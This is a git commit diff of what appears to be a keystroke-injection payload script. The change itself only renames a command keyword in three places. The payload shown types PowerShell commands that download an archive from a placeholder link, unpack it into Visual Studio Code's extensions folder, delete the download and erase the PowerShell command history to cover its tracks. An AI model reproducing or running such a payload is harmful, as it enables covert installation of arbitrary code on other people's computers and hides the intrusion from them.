Update payload.txt

pull/478/head
Aleff 2024-09-17 10:23:40 +02:00 committed by GitHub
parent 284195f4cd
commit 2c84ff499c
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 3 additions and 3 deletions

View File

@ -64,7 +64,7 @@ DELAY 1000
STRINGLN PowerShell
DELAY 1000
STRINGLN
STRINGLN_POWERSHELL
$extensionsPath = "$env:USERPROFILE\AppData\Local\Programs\Microsoft VS Code\resources\app\extensions\#EXTENSION_NAME"
if (Test-Path -Path $extensionsPath -PathType Container) {
@ -75,7 +75,7 @@ END_STRINGLN
REM May it depends by the extension...
DELAY 2000
STRINGLN
STRINGLN_POWERSHELL
$url = "#ARCHIVE_LINK"
$downloadPath = "$env:TEMP\#EXTENSION_NAME.zip"
$extractPath = "$env:USERPROFILE\AppData\Local\Programs\Microsoft VS Code\resources\app\extensions\#EXTENSION_NAME"
@ -85,4 +85,4 @@ STRINGLN
Remove-Item -Path $downloadPath -Force
Remove-Item (Get-PSReadlineOption).HistorySavePath; exit
}
END_STRINGLN
END_STRINGLN